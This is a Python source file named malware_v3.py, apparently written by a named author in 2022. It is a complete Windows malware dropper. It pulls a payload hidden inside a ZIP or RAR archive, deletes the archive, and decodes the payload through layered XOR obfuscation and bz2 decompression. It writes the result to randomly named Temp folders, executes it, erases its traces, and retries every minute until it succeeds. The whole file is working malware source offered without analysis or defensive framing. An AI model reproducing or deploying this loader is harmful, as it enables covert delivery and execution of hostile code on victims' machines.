malware_v3.py

#######################################################################################
#
#   malware_v3.py (Malware v3) [ Main Program ]
#   © 2022 ABDULKADİR GÜNGÖR All Rights Reserved
#   Contact email address: abdulkadir_gungor@outlook.com
#
#	Developper:	Abdulkadir GÜNGÖR (abdulkadir_gungor@outlook.com)
#	Date:	05/2022
#	All Rights Reserved (Tüm Hakları Saklıdır)
#
#######################################################################################
import os, bz2, time, subprocess, sys, shutil, random, string
#
#
#
class SETTINGS():
    ENTRY             = False
    KEY               = b"i*^2AcFeq19?8l&%r+Tm]|[ojB,TEx$.R"
    RAR_or_ZIP_FILE   = b'\x1cZ\x12L\x1f\x15\x1ao*/\x18<\x1bv' ###(Example) cmd>>malware_v2 "malwareZIP.zip"
    OUT_FILE = b'3(Z\x03UE$\x0eYf;)\x0b\r60'
    PUPLIC_KEY = b'geaP9\x0fA0x\x03y\x04>\nb\rBF2.\x1b\x0b/]7f\x11'
    PRIVATE_NUMBER = b'\x13x'
    BUFFER     = 1024
    WAIT_TIME  = 0.1
#
#
#
class RandomTmp:
    def __init__(self):
        self.__topfolder = None
        self.__subfolder = None
        self.__files = []
        self.__iserror = False
        cn = random.sample(string.digits + string.ascii_uppercase, k=12)
        dn = random.sample(string.digits, k=4)
        ucn = random.sample(string.ascii_uppercase, k=8)
        directory0 = ucn[0] + cn[0] + dn[0] + cn[1] + cn[2] + cn[3] + cn[4] + ucn[1] + "-"
        directory0 += ucn[2] + cn[5] + dn[1] + ucn[3] + "-"
        directory0 += ucn[4] + dn[2] + cn[6] + ucn[5] + "-"
        directory0 += ucn[6] + cn[7] + cn[8] + cn[9] + cn[10] + dn[3] + cn[11] + ucn[7]
        del cn, dn, ucn
        cn = random.sample(string.digits + string.ascii_lowercase, k=6)
        dn = random.sample(string.digits, k=2)
        lcn = random.sample(string.ascii_uppercase, k=3)
        directory1 = lcn[0] + dn[0] + cn[0] + cn[1] + cn[2] + cn[3] + cn[4] + lcn[1] + "." + cn[5] + dn[1] + lcn[2]
        del cn, dn, lcn
        try:
            self.__topfolder = os.environ['USERPROFILE'] + "\\AppData\\Local\\Temp\\" + directory0
            os.mkdir(self.__topfolder)
            self.__subfolder = self.__topfolder + "\\" + directory1
            os.mkdir(self.__subfolder)
        except:
            self.__iserror = True
        del directory0, directory1
    #
    def directoryPath(self):
        if self.__iserror:
            return False, ""
        else:
            return True, self.__subfolder
    #
    def createFilename(self):
        nn = random.sample(string.digits + string.ascii_lowercase, k=28)
        name = nn[0] + nn[1] + nn[2] + nn[3] + nn[4] + nn[5] + nn[6] + nn[7]
        name += nn[8] + nn[9] + nn[10] + nn[11] + nn[12] + nn[13] + nn[14] + nn[15]
        name += nn[16] + nn[17] + nn[18] + nn[19] + nn[20] + nn[21] + nn[22] + nn[23]
        name += "." + nn[24] + nn[25] + "bin" + nn[26] + nn[27]
        if self.__iserror:
            return False, ""
        else:
            tmp = self.__subfolder + "\\" + name
            self.__files.append(tmp)
            return True, tmp
    #
    def addFilename(self, file: str):
        if self.__iserror:
            return False, ""
        else:
            tmp = self.__subfolder + "\\" + file
            self.__files.append(tmp)
            return True, tmp
    #
    def finish(self):
        self.__iserror = True
        for f_name in self.__files:
            try:
                os.remove(f_name)
            except:
                pass
        self.__files = []
        try:
            shutil.rmtree(self.__subfolder, ignore_errors=False, onerror=None)
        except:
            pass
        self.__subfolder = ""
        try:
            shutil.rmtree(self.__topfolder, ignore_errors=False, onerror=None)
        except:
            pass
        self.__topfolder = ""
    #
    def __del__(self):
        self.finish()
#
def decrypt( value, key, type, mode):
    random = b"""a#0'1A23!4bN-g56Gu?C78_d9*E"""
    mode = mode ** 2
    res = None
    tmp = []
    nn = 11
    type = type%5
    if type == 0:
        mode0 = 3 ^ 3
    elif type  == 1:
        mode0 = 2 ^ 3
    elif type  == 2:
        mode0 = 2 ^ 4
    elif type == 3:
        mode0 = 3 ^ 4
    elif type == 4:
        mode0 = 1 ^ 20
    else:
        mode0 = 0
    mode = mode0 + mode
    del mode0
    if mode%5 == 0:
        tmp = [value[ii] ^ key[((ii - nn) % len(key))] for ii in range(len(value))]
        tmp.reverse()
        tmp = bytes([tmp[ii] ^ random[((ii - nn) % len(random))] for ii in range(len(tmp))])
        res = bytes([tmp[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(tmp))])
    elif mode%5 == 1:
        tmp = [value[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(value))]
        tmp.reverse()
        tmp = bytes([tmp[ii] ^ random[((ii + nn) % len(random))] for ii in range(len(tmp))])
        res = bytes([tmp[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(tmp))])
    elif mode%5 == 2:
        tmp = [value[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(value))]
        tmp = bytes([tmp[ii] ^ random[((ii - nn) % len(random))] for ii in range(len(tmp))])
        res = bytes([tmp[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(tmp))])
    elif mode%5 == 3:
        tmp = [value[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(value))]
        tmp = bytes([tmp[ii] ^ random[((ii + nn) % len(random))] for ii in range(len(tmp))])
        res = bytes([tmp[ii] ^ key[((ii - nn) % len(key))] for ii in range(len(tmp))])
    elif mode%5 == 4:
        tmp = [value[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(value))]
        tmp = bytes([tmp[ii] ^ random[((ii + nn) % len(random))] for ii in range(len(random))])
        res = bytes([tmp[ii] ^ key[((ii + nn) % len(key))] for ii in range(len(tmp))])
    else:
        res = None
    if type == 0:
        return  res
    elif type  == 1:
        return  res.decode(encoding='UTF-8', errors="ignore")
    elif type  == 2:
        return res.decode(encoding='UTF-8', errors="ignore")
    elif type == 3:
        print(res.hex())
        return int( (res.decode(encoding='UTF-8', errors="ignore").strip()) )
    elif type == 4:
        return res
    else:
        return int(res.decode(encoding='UTF-8', errors="ignore").strip())
#
def bytesXOR(plain_text, public_key, private_number):
    public_number = 3
    private_key = b'#$0aSpYt3ehR7%|\&/*QVzX12}-'
    len_key = len(public_key)
    public_encoded = []
    result_encoded = []
    return_encoded = []
    for i in range(0, len(plain_text)):
        public_encoded.append(plain_text[i] ^ public_key[ (i+public_number) % len_key])
    private_encoded = bytes([b ^ len(private_key) for b in (bytes(public_encoded))])
    for i in range(0, len(private_encoded)):
        result_encoded.append(private_encoded[i] ^ private_key[ (i+private_number) % len_key])
    for i in range(0, len(result_encoded)):
        return_encoded.append(result_encoded[i] ^ public_key[ (i+public_number) % len_key])
    return bytes(return_encoded)
#
def runMalware(settings):
    try:
        cd  = RandomTmp()
        cd2 = RandomTmp()
        buffer0  = cd.createFilename()[1]
        buffer1  = cd.createFilename()[1]
        buffer2  =  cd.createFilename()[1]
        out_file = cd2.addFilename(file=(decrypt(settings.OUT_FILE, settings.KEY, (5-3), ((2**2)+1) )))[1]
        fill_bytes = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'  # 16 byte(s)
        end_signature_bytes = fill_bytes + b'\xff\xff\xff\xff\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xff\xff\xff\xff' + fill_bytes  # 48 byte(s)
        del fill_bytes
        time.sleep(settings.WAIT_TIME)
    except:
        return False
    #
    try:
        if buffer0 == "" or buffer1 == "" or buffer2 == "" or out_file == "" :
            return False
        if settings.ENTRY:
            ffff = settings.RAR_or_ZIP_FILE
        else:
            ffff = decrypt( SETTINGS.RAR_or_ZIP_FILE, settings.KEY, ((3**2)-7), ((3**3)-(30-3)) )
        with open(file=ffff, mode='rb') as readfile:
            rb = readfile.read()
            rb_list = rb.split(sep=end_signature_bytes)
            del rb
        if len(rb_list) != 2:
            return False
        payload = rb_list[1]
        del rb_list
        os.remove(ffff)
        del end_signature_bytes, ffff
        time.sleep(settings.WAIT_TIME)
        #
        with open(file=buffer0, mode='wb') as wfile:
            wfile.write(payload)
            del payload
        with open(file=buffer0, mode='rb') as rfile:
            with open(file=buffer1, mode='wb') as wfile:
                while True:
                    data = rfile.read(settings.BUFFER)
                    if data == b'':
                        break
                    wfile.write( bytesXOR(data, decrypt(settings.PUPLIC_KEY, settings.KEY, (2**2), ((5**2)-15) ), decrypt(settings.PRIVATE_NUMBER, settings.KEY, (4-1), (4-2)) ) )
        os.remove(buffer0)
        with bz2.open(filename=buffer1, mode='rb') as rfile:
            with open(file=buffer2, mode='wb') as wfile:
                while True:
                    data = rfile.read(settings.BUFFER)
                    if data == b'':
                        break
                    wfile.write(data)
        os.remove(buffer1)
        if not os.access(buffer2, os.F_OK):
            return False
        if os.access(out_file, os.F_OK):
            os.remove(out_file)
        try:
            shutil.copy2(buffer2, out_file)
        except:
            return False
        if not os.access(out_file, os.F_OK):
            return False
        #
        cd.finish()
        time.sleep(settings.WAIT_TIME)
        subprocess.run([out_file])
        time.sleep(settings.WAIT_TIME)
        cd2.finish()
        time.sleep(settings.WAIT_TIME)
        return True
    except:
        return False

###--- Main ---###
if __name__ == '__main__':
    argv = sys.argv
    number = len(argv)
    if number == 2:
        tmp = argv[1].replace('"','')
        tmp = tmp.replace("'","")
        SETTINGS.RAR_or_ZIP_FILE = tmp
        SETTINGS.ENTRY = True
    while True:
        try:
            res = runMalware(SETTINGS)
            if res:
                break
            else:
                pass
        except:
            pass
        time.sleep(60)